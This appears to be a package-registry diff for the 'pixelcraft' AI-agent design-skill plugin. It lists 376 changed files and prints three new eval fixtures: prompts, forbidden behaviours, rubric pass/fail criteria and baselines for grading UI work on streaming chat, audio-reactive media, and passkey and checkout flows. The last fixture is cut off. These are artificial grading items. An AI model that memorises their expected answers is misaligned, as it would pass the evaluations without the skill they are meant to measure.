@thanhnguyxn/pixelcraft 0.1.0 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (376) hide show
  1. package/.agents/plugins/marketplace.json +1 -1
  2. package/.antigravity-plugin/plugin.json +32 -0
  3. package/.claude-plugin/marketplace.json +1 -1
  4. package/.claude-plugin/plugin.json +15 -4
  5. package/.codex-plugin/plugin.json +45 -0
  6. package/.cursor-plugin/marketplace.json +17 -0
  7. package/.cursor-plugin/plugin.json +27 -0
  8. package/.devin-plugin/plugin.json +21 -0
  9. package/.github/plugin/marketplace.json +34 -0
  10. package/CHANGELOG.md +159 -0
  11. package/GEMINI.md +1 -0
  12. package/README.md +185 -328
  13. package/SECURITY.md +28 -0
  14. package/assets/pixelcraft-logo-128.png +0 -0
  15. package/assets/pixelcraft-logo-256.png +0 -0
  16. package/bin/pixelcraft.mjs +431 -23
  17. package/docs/ARCHITECTURE.md +40 -37
  18. package/docs/DESIGN-RATIONALE.md +51 -3
  19. package/docs/INSTALL.md +221 -0
  20. package/evals/README.md +16 -6
  21. package/evals/fixtures/3d-web-engineering.json +69 -0
  22. package/evals/fixtures/acceptance-checklist-rule03-gate.json +43 -0
  23. package/evals/fixtures/ai-ui-libraries.json +53 -0
  24. package/evals/fixtures/audio-visual-accessibility.json +69 -0
  25. package/evals/fixtures/auth-and-checkout-ui.json +53 -0
  26. package/evals/fixtures/brandkit-identity-governance.json +48 -0
  27. package/evals/fixtures/build-and-architecture.json +53 -0
  28. package/evals/fixtures/canvas-and-node-editors.json +53 -0
  29. package/evals/fixtures/chat-ai-exfiltration-ime-hitl-gate.json +43 -0
  30. package/evals/fixtures/completion-gate-scan-until-clean.json +44 -0
  31. package/evals/fixtures/component-systems.json +53 -0
  32. package/evals/fixtures/component-testing.json +53 -0
  33. package/evals/fixtures/constrained-voice-and-tv.json +43 -0
  34. package/evals/fixtures/creative-code-rendering.json +69 -0
  35. package/evals/fixtures/creative-reference-evidence.json +67 -0
  36. package/evals/fixtures/data-app-python-marimo.json +49 -0
  37. package/evals/fixtures/desktop-cpp-juce-audio.json +49 -0
  38. package/evals/fixtures/desktop-csharp-avalonia.json +49 -0
  39. package/evals/fixtures/desktop-native-workspace.json +48 -0
  40. package/evals/fixtures/desktop-python-anti-tkinter.json +49 -0
  41. package/evals/fixtures/document-prepress-pdfx4-tounicode.json +43 -0
  42. package/evals/fixtures/document-rust-typst-invoice.json +49 -0
  43. package/evals/fixtures/document-typst-and-print-css.json +43 -0
  44. package/evals/fixtures/email-mjml-dark-mode.json +49 -0
  45. package/evals/fixtures/email-outlook-and-plaintext.json +43 -0
  46. package/evals/fixtures/enterprise-data-ui.json +53 -0
  47. package/evals/fixtures/extended-tui-toolkits.json +53 -0
  48. package/evals/fixtures/extensions-mv3-and-vscode.json +43 -0
  49. package/evals/fixtures/file-upload-media-ui.json +53 -0
  50. package/evals/fixtures/forms-validation.json +53 -0
  51. package/evals/fixtures/game-go-ebitengine.json +49 -0
  52. package/evals/fixtures/game-godot-gdscript.json +49 -0
  53. package/evals/fixtures/game-ui-hud-and-engines.json +43 -0
  54. package/evals/fixtures/i18n-engineering.json +53 -0
  55. package/evals/fixtures/local-first-sync.json +53 -0
  56. package/evals/fixtures/lynxjs.json +53 -0
  57. package/evals/fixtures/maizzle-email.json +53 -0
  58. package/evals/fixtures/maps-geospatial.json +53 -0
  59. package/evals/fixtures/media-og-and-video-export.json +43 -0
  60. package/evals/fixtures/media-players.json +53 -0
  61. package/evals/fixtures/mobile-compose-16kb-foldable-store-gate.json +44 -0
  62. package/evals/fixtures/mobile-elixir-liveview-native.json +49 -0
  63. package/evals/fixtures/mobile-flutter-dynamic-type.json +49 -0
  64. package/evals/fixtures/mobile-harmonyos-arkui.json +49 -0
  65. package/evals/fixtures/mobile-jetpack-compose.json +49 -0
  66. package/evals/fixtures/mobile-swiftui-ios.json +49 -0
  67. package/evals/fixtures/motion-engineering.json +69 -0
  68. package/evals/fixtures/pdfjs-and-pptx.json +53 -0
  69. package/evals/fixtures/plan-discovery-interview.json +31 -0
  70. package/evals/fixtures/plan-grill-me-brainstorm-gate.json +49 -0
  71. package/evals/fixtures/reactive-data-apps.json +53 -0
  72. package/evals/fixtures/review-evidence-audit.json +43 -0
  73. package/evals/fixtures/rich-text-and-code-editors.json +53 -0
  74. package/evals/fixtures/scrollytelling-resilience.json +70 -0
  75. package/evals/fixtures/spatial-xr-comfort-and-platforms.json +43 -0
  76. package/evals/fixtures/state-architecture.json +53 -0
  77. package/evals/fixtures/styling-ecosystem.json +53 -0
  78. package/evals/fixtures/token-tooling.json +53 -0
  79. package/evals/fixtures/tui-go-bubbletea.json +49 -0
  80. package/evals/fixtures/tui-rust-ratatui-grapheme-paste-teardown.json +44 -0
  81. package/evals/fixtures/tui-rust-ratatui.json +49 -0
  82. package/evals/fixtures/ux-state-matrix-and-i18n.json +43 -0
  83. package/evals/fixtures/web-3d-engines.json +53 -0
  84. package/evals/fixtures/web-php-laravel-filament.json +49 -0
  85. package/evals/fixtures/web-ruby-viewcomponent-phlex.json +49 -0
  86. package/evals/pixelcraft-accessibility.md +17 -0
  87. package/evals/pixelcraft-craft.md +16 -0
  88. package/evals/pixelcraft-dataviz.md +3 -3
  89. package/evals/pixelcraft-direction.md +17 -0
  90. package/evals/pixelcraft-game-ui.md +3 -3
  91. package/evals/pixelcraft-mobile.md +3 -3
  92. package/evals/pixelcraft-patterns.md +16 -0
  93. package/evals/pixelcraft-plan.md +65 -3
  94. package/evals/pixelcraft-review.md +3 -3
  95. package/evals/pixelcraft-visual-qa.md +11 -5
  96. package/evals/pixelcraft-web.md +21 -3
  97. package/evals/pixelcraft.md +4 -4
  98. package/gemini-extension.json +3 -2
  99. package/install.ps1 +57 -11
  100. package/install.sh +82 -7
  101. package/package.json +32 -4
  102. package/plugin.json +6 -1
  103. package/scripts/build-adapters.mjs +11 -13
  104. package/scripts/run-evals.mjs +397 -0
  105. package/scripts/sync-docs.mjs +381 -0
  106. package/scripts/test-build-adapters.mjs +14 -1
  107. package/scripts/test-cross-platform-qa.mjs +359 -0
  108. package/scripts/test-distribution.mjs +86 -7
  109. package/scripts/test-export-tokens.mjs +259 -3
  110. package/scripts/test-finish-gate.mjs +133 -10
  111. package/scripts/test-installers.mjs +155 -6
  112. package/scripts/test-shoot.mjs +23 -1
  113. package/scripts/test-slop-scan.mjs +390 -3
  114. package/scripts/test-style-inventory.mjs +23 -0
  115. package/scripts/test-sync-docs.mjs +140 -0
  116. package/scripts/test-validate-skills.mjs +82 -4
  117. package/scripts/validate-skills.mjs +149 -3
  118. package/skills/pixelcraft/SKILL.md +67 -47
  119. package/skills/pixelcraft/references/design-brief.md +2 -2
  120. package/skills/pixelcraft/references/floor.md +36 -19
  121. package/skills/pixelcraft/references/report-template.md +25 -11
  122. package/skills/pixelcraft/references/stack-detection.md +138 -67
  123. package/skills/pixelcraft/references/surface-acceptance.md +33 -21
  124. package/skills/pixelcraft/references/workflow-checkpoints.md +49 -7
  125. package/skills/pixelcraft-accessibility/SKILL.md +34 -13
  126. package/skills/pixelcraft-accessibility/references/apg-patterns.md +13 -0
  127. package/skills/pixelcraft-accessibility/references/motion-canvas.md +57 -0
  128. package/skills/pixelcraft-accessibility/references/platforms.md +34 -6
  129. package/skills/pixelcraft-accessibility/references/verification.md +15 -10
  130. package/skills/pixelcraft-accessibility/references/wcag22-checks.md +38 -5
  131. package/skills/pixelcraft-brandkit/SKILL.md +42 -30
  132. package/skills/pixelcraft-brandkit/references/asset-pipeline.md +90 -50
  133. package/skills/pixelcraft-brandkit/references/brand-governance.md +29 -27
  134. package/skills/pixelcraft-brandkit/references/logo-methods.md +33 -34
  135. package/skills/pixelcraft-brandkit/references/prompt-template.md +53 -51
  136. package/skills/pixelcraft-brandkit/references/qa-checklist.md +7 -2
  137. package/skills/pixelcraft-brandkit/references/visual-modes.md +16 -16
  138. package/skills/pixelcraft-chat-ui/SKILL.md +31 -27
  139. package/skills/pixelcraft-chat-ui/references/agentic-workspace.md +66 -0
  140. package/skills/pixelcraft-chat-ui/references/ai-ui-libraries.md +259 -0
  141. package/skills/pixelcraft-chat-ui/references/conversation-design.md +12 -6
  142. package/skills/pixelcraft-chat-ui/references/mobile-business-platforms.md +58 -68
  143. package/skills/pixelcraft-chat-ui/references/slack-discord.md +60 -76
  144. package/skills/pixelcraft-constrained/SKILL.md +21 -20
  145. package/skills/pixelcraft-constrained/references/specialized-hardware.md +69 -45
  146. package/skills/pixelcraft-constrained/references/tv-wearables.md +123 -73
  147. package/skills/pixelcraft-constrained/references/voice-ui.md +86 -45
  148. package/skills/pixelcraft-craft/SKILL.md +29 -15
  149. package/skills/pixelcraft-craft/references/color.md +62 -6
  150. package/skills/pixelcraft-craft/references/layout.md +32 -0
  151. package/skills/pixelcraft-craft/references/motion.md +99 -12
  152. package/skills/pixelcraft-craft/references/typography.md +48 -9
  153. package/skills/pixelcraft-data-apps/SKILL.md +50 -31
  154. package/skills/pixelcraft-data-apps/references/ai-and-internal-data-apps.md +147 -0
  155. package/skills/pixelcraft-data-apps/references/dash.md +87 -31
  156. package/skills/pixelcraft-data-apps/references/evidence.md +41 -26
  157. package/skills/pixelcraft-data-apps/references/gradio.md +65 -27
  158. package/skills/pixelcraft-data-apps/references/julia-genie.md +64 -29
  159. package/skills/pixelcraft-data-apps/references/jupyter-widgets.md +65 -27
  160. package/skills/pixelcraft-data-apps/references/nicegui.md +73 -34
  161. package/skills/pixelcraft-data-apps/references/observable-framework.md +65 -27
  162. package/skills/pixelcraft-data-apps/references/panel.md +69 -23
  163. package/skills/pixelcraft-data-apps/references/r-shiny.md +104 -34
  164. package/skills/pixelcraft-data-apps/references/reactive-data-apps.md +186 -0
  165. package/skills/pixelcraft-data-apps/references/reflex.md +85 -31
  166. package/skills/pixelcraft-data-apps/references/shiny.md +84 -27
  167. package/skills/pixelcraft-data-apps/references/streamlit.md +73 -25
  168. package/skills/pixelcraft-dataviz/SKILL.md +21 -24
  169. package/skills/pixelcraft-dataviz/references/color-accessibility.md +2 -2
  170. package/skills/pixelcraft-dataviz/references/encoding-tables-dashboards.md +35 -25
  171. package/skills/pixelcraft-dataviz/references/libraries.md +165 -46
  172. package/skills/pixelcraft-dataviz/references/maps-geospatial.md +159 -0
  173. package/skills/pixelcraft-dataviz/references/realtime-graphs-maps-scale.md +58 -65
  174. package/skills/pixelcraft-desktop/SKILL.md +61 -39
  175. package/skills/pixelcraft-desktop/references/appkit.md +60 -26
  176. package/skills/pixelcraft-desktop/references/avalonia.md +65 -29
  177. package/skills/pixelcraft-desktop/references/cpp-gui.md +104 -27
  178. package/skills/pixelcraft-desktop/references/electron.md +68 -26
  179. package/skills/pixelcraft-desktop/references/go-gui.md +59 -30
  180. package/skills/pixelcraft-desktop/references/gtk.md +74 -31
  181. package/skills/pixelcraft-desktop/references/javafx-swing.md +54 -25
  182. package/skills/pixelcraft-desktop/references/qt-pyside-qml.md +57 -30
  183. package/skills/pixelcraft-desktop/references/rust-gui.md +59 -41
  184. package/skills/pixelcraft-desktop/references/tauri.md +80 -24
  185. package/skills/pixelcraft-desktop/references/uno-platform.md +42 -23
  186. package/skills/pixelcraft-desktop/references/winui-wpf.md +66 -26
  187. package/skills/pixelcraft-desktop/references/working-context.md +82 -3
  188. package/skills/pixelcraft-direction/SKILL.md +48 -82
  189. package/skills/pixelcraft-direction/references/creative-brainstorming.md +72 -0
  190. package/skills/pixelcraft-direction/references/direction-card.md +11 -1
  191. package/skills/pixelcraft-direction/references/direction-scoring.md +5 -1
  192. package/skills/pixelcraft-direction/references/motion-identity.md +67 -0
  193. package/skills/pixelcraft-direction/references/movements.md +3 -0
  194. package/skills/pixelcraft-direction/references/reference-analysis.md +37 -0
  195. package/skills/pixelcraft-direction/references/slop-fingerprints.md +32 -7
  196. package/skills/pixelcraft-document/SKILL.md +27 -23
  197. package/skills/pixelcraft-document/references/archetypes.md +27 -4
  198. package/skills/pixelcraft-document/references/pdf-tools.md +241 -81
  199. package/skills/pixelcraft-document/references/pdfjs-and-pptx.md +114 -0
  200. package/skills/pixelcraft-document/references/print-css.md +96 -43
  201. package/skills/pixelcraft-document/references/slides.md +123 -27
  202. package/skills/pixelcraft-email/SKILL.md +42 -20
  203. package/skills/pixelcraft-email/references/client-quirks.md +101 -33
  204. package/skills/pixelcraft-email/references/html-tables.md +83 -22
  205. package/skills/pixelcraft-email/references/maizzle.md +54 -0
  206. package/skills/pixelcraft-email/references/mjml.md +13 -11
  207. package/skills/pixelcraft-email/references/react-email.md +76 -34
  208. package/skills/pixelcraft-extensions/SKILL.md +32 -27
  209. package/skills/pixelcraft-extensions/references/browser-extensions.md +91 -17
  210. package/skills/pixelcraft-extensions/references/figma-office.md +97 -14
  211. package/skills/pixelcraft-extensions/references/ide-and-saas-plugins.md +125 -0
  212. package/skills/pixelcraft-extensions/references/raycast.md +90 -11
  213. package/skills/pixelcraft-extensions/references/vscode-webviews.md +91 -17
  214. package/skills/pixelcraft-game-ui/SKILL.md +45 -26
  215. package/skills/pixelcraft-game-ui/references/bevy.md +69 -31
  216. package/skills/pixelcraft-game-ui/references/godot.md +100 -27
  217. package/skills/pixelcraft-game-ui/references/hud-principles.md +50 -21
  218. package/skills/pixelcraft-game-ui/references/love2d.md +53 -27
  219. package/skills/pixelcraft-game-ui/references/monogame.md +45 -29
  220. package/skills/pixelcraft-game-ui/references/unity-ugui.md +109 -0
  221. package/skills/pixelcraft-game-ui/references/unity-ui-toolkit.md +69 -27
  222. package/skills/pixelcraft-game-ui/references/unreal-umg.md +53 -26
  223. package/skills/pixelcraft-game-ui/references/web-and-middleware-game-ui.md +122 -0
  224. package/skills/pixelcraft-handoff/SKILL.md +14 -13
  225. package/skills/pixelcraft-handoff/references/design-translation.md +40 -10
  226. package/skills/pixelcraft-handoff/references/motion-handoff.md +54 -0
  227. package/skills/pixelcraft-media/SKILL.md +20 -23
  228. package/skills/pixelcraft-media/references/banners-video.md +83 -65
  229. package/skills/pixelcraft-media/references/og-generation.md +110 -63
  230. package/skills/pixelcraft-media/references/social-cards.md +57 -58
  231. package/skills/pixelcraft-mobile/SKILL.md +53 -36
  232. package/skills/pixelcraft-mobile/references/dotnet-maui.md +62 -34
  233. package/skills/pixelcraft-mobile/references/flet.md +53 -26
  234. package/skills/pixelcraft-mobile/references/flutter.md +76 -32
  235. package/skills/pixelcraft-mobile/references/harmonyos-and-emerging-mobile.md +121 -0
  236. package/skills/pixelcraft-mobile/references/ionic-capacitor.md +48 -26
  237. package/skills/pixelcraft-mobile/references/jetpack-compose.md +92 -24
  238. package/skills/pixelcraft-mobile/references/kivy.md +54 -31
  239. package/skills/pixelcraft-mobile/references/kotlin-multiplatform.md +53 -27
  240. package/skills/pixelcraft-mobile/references/lynxjs.md +110 -0
  241. package/skills/pixelcraft-mobile/references/nativescript-and-skip.md +91 -0
  242. package/skills/pixelcraft-mobile/references/react-native-expo.md +66 -31
  243. package/skills/pixelcraft-mobile/references/swiftui.md +158 -28
  244. package/skills/pixelcraft-mobile/references/tactile-interactions.md +55 -0
  245. package/skills/pixelcraft-mobile/references/task-state-composition.md +82 -2
  246. package/skills/pixelcraft-mobile/references/uikit.md +57 -23
  247. package/skills/pixelcraft-patterns/SKILL.md +30 -13
  248. package/skills/pixelcraft-patterns/references/accessibility-resilience.md +29 -0
  249. package/skills/pixelcraft-patterns/references/ai-and-offline-patterns.md +54 -0
  250. package/skills/pixelcraft-patterns/references/auth-onboarding.md +32 -13
  251. package/skills/pixelcraft-patterns/references/billing-paywalls.md +40 -0
  252. package/skills/pixelcraft-patterns/references/command-workspace.md +56 -0
  253. package/skills/pixelcraft-patterns/references/commerce.md +35 -16
  254. package/skills/pixelcraft-patterns/references/communication.md +34 -15
  255. package/skills/pixelcraft-patterns/references/creative-tools.md +30 -17
  256. package/skills/pixelcraft-patterns/references/creative-web-composition.md +38 -0
  257. package/skills/pixelcraft-patterns/references/dashboard-admin.md +22 -18
  258. package/skills/pixelcraft-patterns/references/history-diff-undo.md +50 -0
  259. package/skills/pixelcraft-patterns/references/marketing.md +31 -19
  260. package/skills/pixelcraft-patterns/references/multi-tenant-rbac.md +47 -0
  261. package/skills/pixelcraft-patterns/references/narrative-systems.md +42 -0
  262. package/skills/pixelcraft-patterns/references/notifications-activity.md +57 -0
  263. package/skills/pixelcraft-patterns/references/pattern-selection.md +8 -2
  264. package/skills/pixelcraft-patterns/references/scheduling-kanban.md +47 -0
  265. package/skills/pixelcraft-patterns/references/scroll-implementation.md +37 -0
  266. package/skills/pixelcraft-patterns/references/settings.md +40 -12
  267. package/skills/pixelcraft-plan/SKILL.md +54 -18
  268. package/skills/pixelcraft-plan/references/discovery-interview.md +110 -0
  269. package/skills/pixelcraft-plan/references/grill-me-protocol.md +63 -0
  270. package/skills/pixelcraft-plan/references/plan-template.md +44 -9
  271. package/skills/pixelcraft-plan/references/repo-discovery.md +16 -9
  272. package/skills/pixelcraft-plan/references/stack-freshness.md +22 -5
  273. package/skills/pixelcraft-plan/references/stack-selection.md +65 -9
  274. package/skills/pixelcraft-review/SKILL.md +41 -19
  275. package/skills/pixelcraft-review/references/audit-report.md +20 -1
  276. package/skills/pixelcraft-review/references/heuristics.md +63 -18
  277. package/skills/pixelcraft-review/references/personas.md +41 -14
  278. package/skills/pixelcraft-review/references/polish.md +66 -26
  279. package/skills/pixelcraft-review/scripts/check-acceptance.mjs +619 -0
  280. package/skills/pixelcraft-review/scripts/fixtures/focus-longhand-removal.css +34 -0
  281. package/skills/pixelcraft-review/scripts/slop-scan.mjs +679 -32
  282. package/skills/pixelcraft-spatial/SKILL.md +16 -17
  283. package/skills/pixelcraft-spatial/references/comfort-accessibility.md +25 -84
  284. package/skills/pixelcraft-spatial/references/platforms.md +123 -53
  285. package/skills/pixelcraft-tokens/SKILL.md +18 -14
  286. package/skills/pixelcraft-tokens/assets/tokens.example.json +1 -1
  287. package/skills/pixelcraft-tokens/assets/tokens.modes.example.json +1 -1
  288. package/skills/pixelcraft-tokens/references/format.md +39 -9
  289. package/skills/pixelcraft-tokens/references/governance.md +1 -1
  290. package/skills/pixelcraft-tokens/references/theme-presets.md +36 -8
  291. package/skills/pixelcraft-tokens/references/token-tooling.md +119 -0
  292. package/skills/pixelcraft-tokens/scripts/export-tokens.mjs +637 -75
  293. package/skills/pixelcraft-tui/SKILL.md +41 -25
  294. package/skills/pixelcraft-tui/references/bubbletea-lipgloss.md +49 -30
  295. package/skills/pixelcraft-tui/references/extended-tui-toolkits.md +127 -0
  296. package/skills/pixelcraft-tui/references/ink.md +77 -28
  297. package/skills/pixelcraft-tui/references/ratatui.md +70 -30
  298. package/skills/pixelcraft-tui/references/rich.md +53 -33
  299. package/skills/pixelcraft-tui/references/terminal-protocols.md +80 -0
  300. package/skills/pixelcraft-tui/references/textual.md +75 -34
  301. package/skills/pixelcraft-ux/SKILL.md +22 -12
  302. package/skills/pixelcraft-ux/references/feedback-performance.md +39 -19
  303. package/skills/pixelcraft-ux/references/forms.md +57 -3
  304. package/skills/pixelcraft-ux/references/i18n.md +50 -12
  305. package/skills/pixelcraft-ux/references/laws.md +35 -14
  306. package/skills/pixelcraft-ux/references/state-matrix.md +15 -1
  307. package/skills/pixelcraft-ux/references/ux-writing.md +1 -0
  308. package/skills/pixelcraft-visual-qa/SKILL.md +21 -7
  309. package/skills/pixelcraft-visual-qa/references/capture-desktop-game.md +28 -7
  310. package/skills/pixelcraft-visual-qa/references/capture-document.md +70 -0
  311. package/skills/pixelcraft-visual-qa/references/capture-email.md +13 -9
  312. package/skills/pixelcraft-visual-qa/references/capture-mobile.md +20 -5
  313. package/skills/pixelcraft-visual-qa/references/capture-terminal.md +6 -2
  314. package/skills/pixelcraft-visual-qa/references/motion-capture.md +63 -0
  315. package/skills/pixelcraft-visual-qa/references/performance-budgets.md +25 -12
  316. package/skills/pixelcraft-visual-qa/references/realtime-graphics.md +55 -0
  317. package/skills/pixelcraft-visual-qa/scripts/check-contrast.mjs +442 -0
  318. package/skills/pixelcraft-visual-qa/scripts/check-email.mjs +397 -0
  319. package/skills/pixelcraft-visual-qa/scripts/check-pdf.mjs +189 -0
  320. package/skills/pixelcraft-visual-qa/scripts/check-tui.mjs +321 -0
  321. package/skills/pixelcraft-visual-qa/scripts/finish-gate.mjs +50 -11
  322. package/skills/pixelcraft-visual-qa/scripts/shoot.mjs +214 -59
  323. package/skills/pixelcraft-visual-qa/scripts/style-inventory.mjs +121 -49
  324. package/skills/pixelcraft-web/SKILL.md +105 -49
  325. package/skills/pixelcraft-web/references/accessibility-performance.md +42 -0
  326. package/skills/pixelcraft-web/references/adaptive-layout.md +52 -8
  327. package/skills/pixelcraft-web/references/angular.md +63 -16
  328. package/skills/pixelcraft-web/references/assets-pipeline.md +67 -0
  329. package/skills/pixelcraft-web/references/astro.md +64 -13
  330. package/skills/pixelcraft-web/references/audio-reactive.md +61 -0
  331. package/skills/pixelcraft-web/references/auth-and-checkout-ui.md +115 -0
  332. package/skills/pixelcraft-web/references/build-and-architecture.md +215 -0
  333. package/skills/pixelcraft-web/references/canvas-and-node-editors.md +157 -0
  334. package/skills/pixelcraft-web/references/clojurescript.md +52 -17
  335. package/skills/pixelcraft-web/references/component-systems.md +102 -0
  336. package/skills/pixelcraft-web/references/component-testing.md +170 -0
  337. package/skills/pixelcraft-web/references/creative-effects.md +59 -0
  338. package/skills/pixelcraft-web/references/creative-runtime.md +34 -0
  339. package/skills/pixelcraft-web/references/enterprise-data-ui.md +138 -0
  340. package/skills/pixelcraft-web/references/file-upload-media-ui.md +82 -0
  341. package/skills/pixelcraft-web/references/forms-validation.md +123 -0
  342. package/skills/pixelcraft-web/references/fsharp-fable.md +3 -2
  343. package/skills/pixelcraft-web/references/gsap.md +102 -0
  344. package/skills/pixelcraft-web/references/html-css.md +144 -12
  345. package/skills/pixelcraft-web/references/htmx-alpine.md +68 -18
  346. package/skills/pixelcraft-web/references/i18n-engineering.md +106 -0
  347. package/skills/pixelcraft-web/references/interaction-and-search-primitives.md +196 -0
  348. package/skills/pixelcraft-web/references/java-web.md +27 -18
  349. package/skills/pixelcraft-web/references/kotlin-web.md +6 -2
  350. package/skills/pixelcraft-web/references/leptos-yew.md +62 -19
  351. package/skills/pixelcraft-web/references/lit-web-components.md +4 -2
  352. package/skills/pixelcraft-web/references/local-first-sync.md +105 -0
  353. package/skills/pixelcraft-web/references/media-players.md +104 -0
  354. package/skills/pixelcraft-web/references/motion-react.md +96 -0
  355. package/skills/pixelcraft-web/references/motion-recipes.md +82 -0
  356. package/skills/pixelcraft-web/references/preact-fresh-hono.md +111 -0
  357. package/skills/pixelcraft-web/references/pwa.md +6 -1
  358. package/skills/pixelcraft-web/references/qwik.md +51 -11
  359. package/skills/pixelcraft-web/references/r3f-integration.md +69 -0
  360. package/skills/pixelcraft-web/references/react-next.md +112 -13
  361. package/skills/pixelcraft-web/references/rendering-choice.md +63 -0
  362. package/skills/pixelcraft-web/references/rendering-performance.md +80 -0
  363. package/skills/pixelcraft-web/references/rich-text-and-code-editors.md +220 -0
  364. package/skills/pixelcraft-web/references/rive-lottie.md +73 -0
  365. package/skills/pixelcraft-web/references/scene-architecture.md +132 -0
  366. package/skills/pixelcraft-web/references/server-rendered.md +106 -63
  367. package/skills/pixelcraft-web/references/shader-workflow.md +77 -0
  368. package/skills/pixelcraft-web/references/smooth-scroll.md +58 -0
  369. package/skills/pixelcraft-web/references/solid.md +67 -16
  370. package/skills/pixelcraft-web/references/state-architecture.md +107 -0
  371. package/skills/pixelcraft-web/references/styling-ecosystem.md +273 -0
  372. package/skills/pixelcraft-web/references/svelte.md +61 -11
  373. package/skills/pixelcraft-web/references/tailwind.md +40 -14
  374. package/skills/pixelcraft-web/references/video-media.md +69 -0
  375. package/skills/pixelcraft-web/references/vue-nuxt.md +37 -13
  376. package/skills/pixelcraft-web/references/web-3d-engines.md +97 -0
@@ -0,0 +1,53 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "ai-ui-libraries",
4
+ "skill": "pixelcraft-chat-ui",
5
+ "title": "Implement AI-native streaming chat, generative tool UI, and human-in-the-loop gates safely",
6
+ "contextSnapshot": {
7
+ "surface": "in-app AI copilot with streaming tool cards and destructive-action approval",
8
+ "platform": "Next.js App Router + TypeScript",
9
+ "mode": "Operate",
10
+ "states": ["streaming response", "abort/stop", "partial tool args", "human approval gate"],
11
+ "constraints": ["AI SDK v5/v6 message.parts API", "no runaway unabortable streams", "explicit approval before destructive tool calls"]
12
+ },
13
+ "prompt": "Build an AI copilot UI with streaming responses, generative tool result cards, and human-in-the-loop approval using Vercel AI SDK UI, assistant-ui, or CopilotKit.",
14
+ "expectedRouting": ["pixelcraft-chat-ui", "references/ai-ui-libraries.md", "references/agentic-workspace.md"],
15
+ "forbiddenBehaviors": [
16
+ "puts aria-live='assertive' on a token-by-token streaming container",
17
+ "omits a stop/abort button while status is submitted or streaming",
18
+ "executes destructive tool mutations automatically without a human-in-the-loop approval gate"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "library and API accuracy",
23
+ "pass": "uses AI SDK v5/v6 DefaultChatTransport + sendMessage + message.parts + stop(), assistant-ui headless primitives, or CopilotKit v2 useFrontendTool/useHumanInTheLoop accurately",
24
+ "fail": "mixes outdated AI SDK v3/v4 APIs or crashes on partial streaming tool args"
25
+ },
26
+ {
27
+ "dimension": "control and approval safety",
28
+ "pass": "exposes stop/cancel during active streams and pauses destructive actions for single-response user approval",
29
+ "fail": "locks the user out during streaming or auto-runs destructive mutations"
30
+ },
31
+ {
32
+ "dimension": "streaming accessibility",
33
+ "pass": "avoids token-by-token aria-live spam and preserves keyboard focus and scroll-yield",
34
+ "fail": "floods screen readers on every streamed token"
35
+ }
36
+ ],
37
+ "negativeControls": [
38
+ {
39
+ "name": "assertive token live region",
40
+ "input": "wrap the streaming assistant paragraph in <div aria-live='assertive'>",
41
+ "mustNot": "recommend aria-live='assertive' on rapidly streaming token containers"
42
+ },
43
+ {
44
+ "name": "unabortable stream",
45
+ "input": "disable the form during streaming without rendering a Stop button wired to stop()",
46
+ "mustNot": "omit a cancel/stop control during active AI streaming"
47
+ }
48
+ ],
49
+ "baseline": {
50
+ "withoutSkill": "copies outdated AI SDK v3 patterns, omits stop(), crashes on partial tool args, and spams screen readers during streaming",
51
+ "withSkill": "uses current AI SDK v5/v6 parts/transport, assistant-ui primitives, or CopilotKit HITL hooks with abort controls, partial-arg guards, and calm streaming a11y"
52
+ }
53
+ }
@@ -0,0 +1,69 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "audio-visual-accessibility",
4
+ "skill": "pixelcraft-web",
5
+ "title": "Audio-reactive media remains optional and accessible",
6
+ "contextSnapshot": {
7
+ "surface": "music launch page",
8
+ "platform": "mobile and desktop web",
9
+ "mode": "Experience",
10
+ "states": [
11
+ "muted",
12
+ "user starts playback",
13
+ "autoplay denied",
14
+ "hidden tab",
15
+ "reduced motion",
16
+ "media failure"
17
+ ],
18
+ "constraints": [
19
+ "consent before sound",
20
+ "captions for speech",
21
+ "low-power mobile"
22
+ ]
23
+ },
24
+ "prompt": "Create an optional audio-reactive background and a video-texture fallback for a product launch.",
25
+ "expectedRouting": [
26
+ "pixelcraft-web",
27
+ "pixelcraft-accessibility",
28
+ "pixelcraft-visual-qa"
29
+ ],
30
+ "forbiddenBehaviors": [
31
+ "sound autoplay without consent",
32
+ "microphone recording without permission",
33
+ "audio only information",
34
+ "unbounded media playback"
35
+ ],
36
+ "rubricDimensions": [
37
+ {
38
+ "dimension": "consent and control",
39
+ "pass": "uses explicit play/mute/pause/stop and honors autoplay constraints",
40
+ "fail": "starts audible playback automatically"
41
+ },
42
+ {
43
+ "dimension": "fallback",
44
+ "pass": "maintains silent/static or ordinary-video path",
45
+ "fail": "meaning requires audio or WebGL"
46
+ },
47
+ {
48
+ "dimension": "media lifecycle",
49
+ "pass": "pauses and releases resources when hidden/offscreen/unmounted",
50
+ "fail": "media runs after route change"
51
+ }
52
+ ],
53
+ "negativeControls": [
54
+ {
55
+ "name": "muted environment",
56
+ "input": "Browser blocks autoplay and has no audio output",
57
+ "mustNot": "leave page empty or unusable"
58
+ },
59
+ {
60
+ "name": "no WebCodecs",
61
+ "input": "WebCodecs unavailable",
62
+ "mustNot": "make video playback impossible"
63
+ }
64
+ ],
65
+ "baseline": {
66
+ "withoutSkill": "ties visuals to an unbounded audio loop",
67
+ "withSkill": "separates media state, user control, fallback and device behavior"
68
+ }
69
+ }
@@ -0,0 +1,53 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "auth-and-checkout-ui",
4
+ "skill": "pixelcraft-web",
5
+ "title": "Build accessible Passkeys/WebAuthn conditional UI, OTP flows, and PCI-safe checkout UI",
6
+ "contextSnapshot": {
7
+ "surface": "SaaS sign-in with Passkeys + password fallback and subscription checkout page",
8
+ "platform": "Web (Next.js / React + TypeScript)",
9
+ "mode": "Operate",
10
+ "states": ["passkey autofill", "OTP paste", "card decline recovery", "pending payment lock"],
11
+ "constraints": ["WCAG 3.3.8 allow paste/password managers", "AbortController on conditional WebAuthn", "no raw PAN inputs"]
12
+ },
13
+ "prompt": "Implement a sign-in form with WebAuthn Passkeys conditional UI and OTP verification, plus a Stripe-backed subscription checkout page with clean decline recovery.",
14
+ "expectedRouting": ["pixelcraft-web", "references/auth-and-checkout-ui.md", "pixelcraft-accessibility"],
15
+ "forbiddenBehaviors": [
16
+ "blocks paste on password or OTP inputs (violates WCAG 3.3.8)",
17
+ "starts conditional WebAuthn without feature-detecting isConditionalMediationAvailable() or AbortController",
18
